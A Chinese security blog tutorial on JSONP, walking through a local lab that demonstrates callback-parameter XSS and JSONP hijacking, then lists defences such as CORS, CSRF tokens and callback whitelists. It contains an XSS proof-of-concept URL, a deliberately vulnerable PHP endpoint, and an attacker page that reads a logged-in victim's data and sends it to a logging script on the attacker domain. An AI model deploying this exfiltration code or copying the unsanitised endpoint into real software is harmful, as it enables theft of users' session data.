JSONP 劫持

原文地址:https://www.cnblogs.com/Nestar/p/17605734.html

JSONP 介绍

jsonp 是一种协议,准确的说,他是 json 的一种使用模式,为了解决 Json 受同源策略限制的问题。

基本语法

JSONP的基本语法为:callback({"name":"test", "msg":"success"})
常见的例子包括函数调用如callback({"a":"b"}) 或变量赋值var a={JSON data}

应用场景

首先演示一下 JSON 的局限性
首先我搭建两个网站 http://www.victim.san.com/http://www.attack.san.com/
我们在 http://www.victim.san.com/ 下新建一个 test.json :
{ "username": "Sentiment", "password": "123456" }
然后在 http://www.victim.san.com/ 中编写以下代码:
index.php:

<?php echo "www.victim.san.com"; echo "</br>"; ?> <script src='./jquery.js'></script> <script > $.ajax({ url: 'http://www.victim.san.com/test.json', type:"get", dataType: "json", success: function (data) { console.log(data);} }) </script>

image
然后访问 http://www.victim.san.com/
image
可以看到,能够正常的获取到 JOSN 中的数据

然后我们在 http://www.attack.san.com/ 中编写代码
index.php:

<?php echo "www.attack.san.com"; echo "</br>"; ?> <script src='./jquery.js'></script> <script > $.ajax({ url: 'http://www.victim.san.com/test.json', type:"get", dataType: "json", success: function (data) { console.log(data);} }) </script>

image
可以看到,因为同源策略的影响,我们的 www.attack.san.com 的 JS 是无法获取到 www.victim.san.com 的数据的。

也就是说,普通的 CSRF 漏洞是这样的。你诱骗别人访问了你的 www.attack.san.com ,你的的恶意 JS 可以操作受害者的浏览器访问关键系统了,然后受害者的浏览器也确实登陆过关键系统有 cookie 的,然后也确实系统返回了敏感数据给受害者的浏览器了,但是,,,你写的这个恶意 JS 因为同源策略的影响它拿不到数据,也就没法把数据发送给你的恶意服务器哦。

image

JSONP 的用法

jsonp 简单地说,就是利用 script 标签的 src 属性能够发起跨域请求的原理来实现的。
因此只需将 test.json 中的内容按照 javascript 规范去规定,便可以实现跨域资源访问。聪明的程序员们很快便找到了解决问题的办法。只需让目标页面回调本地页面的方法,并带入参数即可,这也就是 jsonp 的核心原理。

index.php:

<?php echo "www.attack.san.com"; echo "</br>"; ?> <body> <script> function callback(data){ console.log("name:" + data.username + " passwrod:" + data.password); } </script> <script src="http://www.victim.san.com/test.json"></script> </body>

在 test.json 中按照 javascript 代码规范调用 callback 函数,并将数据作为参数传入
callback({ "username": "Sentiment", "password": "123456" });
image

此时请求 http://www.attack.san.com/ ,成功请求跨域 json
image
所以 JSONP 主要就是用来解决跨域问题的。也就是说,顺便帮 CSRF 漏洞也解决了跨域问题。

JSONP跨域漏洞

JSONP 跨域漏洞主要是 callback 自定义导致的 XSS 和 JSONP 劫持。

callback 自定义导致的 XSS

我们知道,在 JSONP 跨域中,我们是可以传入一个函数名的参数如 callback,然后 JSONP 端点会根据我们的传参动态生成 JSONP 数据响应回来。
如果 JSONP 端点对于用于传入的函数名参数 callback 处理不当,如未正确设置响应包的 Content-Type、未对用户输入参数进行有效过滤或转义时,就会导致 XSS 漏洞的产生。
attack.san.com/jsonp.php:

<?php $func = $_GET['callback']; print $func."({ \"username\": \"Sentiment\", \"password\": \"123456\" })";

我们再写一个常见的使用 jQuery 调用 JSONP 的例子(为了演示跨域,我就用 victim 调用 attack 了)
victim.san.com/index.php:

<?php echo "www.victim.san.com"; echo "</br>"; ?> <html> <body> <table> <tr> <td> 姓名: </td> <td> <label id="username"></label> </td> </tr> <tr> <td> 密码: </td> <td> <label id="password"></label> </td> </tr> <tr> <td> <button onclick="doSearch()">获取信息</button> </td> </tr> </table> <script> function callback(data) { document.getElementById("username").innerText = data.username; document.getElementById("password").innerText = data.password; } </script> <script src='./jquery.js'></script> <script > function doSearch(){ $.ajax({ url: 'http://www.attack.san.com/jsonp.php', dataType: 'jsonp', jsonp: 'callback', success: function(response) { document.getElementById("username").innerText = response.username; document.getElementById("password").innerText = response.password; }, error: function(xhr, status, error) { // 处理错误 } }); } </script> </body> </html>

image

image
image

可以看到完美实现跨越请求而且发出的确实是 JSONP 格式请求。
那么 XSS 呢?
OK ,我们把 jsonp.php 再放到 victim.san.com 下去吧。
使用 POC 访问 http://www.victim.san.com/jsonp.php?callback=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E;callback
image
请求后触发 xss,此时发现 php 默认的 content-type 为 text/html
image

其它 content-type 类型

经测试后发现 application/json、text/json、application/javascript、text/javascript 等都不触发 XSS

JSONP劫持

因为 jsonp 实现了跨域资源访问,如果获取的数据能够成为下一步操作的凭证,那么便可以引起 jsonp 劫持。

Demo1 — 窃取用户信息

以下都是 victim.san.com 下的。
设置模拟用户登录页面 index.php

<?php error_reporting(0); session_start(); $name = $_GET['name']; $pwd = $_GET['pwd']; if($name == "admin" && $pwd == "admin"){ $_SESSION['name'] = $name; } if (isset($_GET['logout'])) { if ($_GET['logout'] === 'true') { unset($_SESSION['name']); } } // 如果没有登陆 if(!$_SESSION["name"]){ echo '<html> <head> <title>登录</title> <meta charset="utf-8"> </head> <body> <form action="index.php" method="get"> 用户名:<input type="text" name="name"> 密码:<input type="password" name="pwd"> <input type="submit" name="submit" value="login"> </form> </body> </html>'; } else { // 如果登陆了 echo '<a href="http://www.victim.san.com/info.php">用户信息</a><br>'; echo '<a href="http://www.victim.san.com/index.php?logout=true">退出登录</a><br data-tomark-pass>'; echo "欢迎您, " . $_SESSION['name'] . "<br data-tomark-pass>"; }

查询信息页面 info.php

<?php error_reporting(0); session_start(); echo "欢迎来到 www.victim.san.com"; echo "</br>"; echo '<a href="index.php?logout=true">退出登录</a><br data-tomark-pass>'; echo "欢迎您, " . $_SESSION['name'] . "<br data-tomark-pass>"; ?> <html> <body> <table> <tr> <td>姓名:</td> <td><label id="username"></label></td> </tr> <tr> <td>密码:</td> <td><label id="password"></label></td> </tr> <tr> <td><input id="keyword"></td> <td><button onclick="doSearch()">获取信息</button></td> </tr> </table> <script src='./jquery.js'></script> <script> function doSearch() { const url = 'http://www.victim.san.com/jsonp.php'; $.ajax({ url: url, dataType: 'jsonp', jsonp: 'callback', success: function (response) { document.getElementById("username").innerText = response.username; document.getElementById("password").innerText = response.password; }, error: function (xhr, status, error) { // 处理错误 } }); } </script> </body> </html>

返回信息的接口 jsonp.php

<?php error_reporting(0); session_start(); $name = $_GET['keyword']; $func = $_GET['callback']; if(isset($_SESSION['name'])){ print $func."({ \"username\": \"" . $_SESSION["name"] . "\", \"password\": \"admin\" })"; } else { print $func."({ \"username\": \"error\", \"password\": \"error\" })"; }

OK,可以完美的实现一个简简单单的系统啦。
image

当用户登录后,访问 info.php 便能查询到自己的信息。

这个时候攻击者发现 http://www.victim.san.com/jsonp.php?keyword=admin&callback=jQuery3700970858841055924_1691117036026&_=1691117036029 这个接口使用了 JSONP ,而且也没有防御 CSRF 这类的攻击,OK 进行攻击。

此时构造恶意 html
index.php

<?php echo "www.attack.san.com"; echo "</br>"; ?> <body> <script> function callback(data){ let yourData = ""; for(const key in data){ yourData += key + "=" + data[key] + ', '; } // 加入其他你需要添加的数据 const currentDate = new Date(); const currentDateTime = currentDate.toLocaleString(); yourData += "time=" + currentDateTime + ", "; const dataToSend = {data: yourData}; $.ajax({ url: 'data.php', type:"get", data: dataToSend, success: function (data) { alert("你的信息已经被我偷走啦! " + yourData); }, error: function(xhr, status, error) { alert("发送信息出错了! " + yourData); } }) } </script> <script src='./jquery.js'></script> <script src="http://www.victim.san.com/jsonp.php?callback=callback"></script> </body>

data.php

<?php $data = $_GET['data']; $data .= "IP=".$_SERVER["REMOTE_ADDR"]; $data = $data . PHP_EOL; $file = file_put_contents("info.txt", $data, FILE_APPEND);

show.php:

<?php $fileContent = file("info.txt"); foreach ($fileContent as $line){ echo $line . "<br>"; }

引导用户访问后 http://www.attack.san.com/ 成功被 jsonp 劫持
image

防御

● 若可行,则使用 CORS 替换 JSONP 实现跨域功能;
● 应用 CSRF 防御措施来调用 JSON 文件:限制 Referer 、部署 Token 等;
● 严格设置 Content-Type 及编码(Content-Type: application/json; charset=utf-8 );
● 把回调函数加入到白名单

参考:

https://xz.aliyun.com/t/12744


__EOF__

本文作者Nestar
本文链接https://www.cnblogs.com/Nestar/p/17605734.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   Nestar  阅读(56)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· SQL Server 2025 AI相关能力初探
· 单线程的Redis速度为什么快?
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
点击右上角即可分享
微信分享提示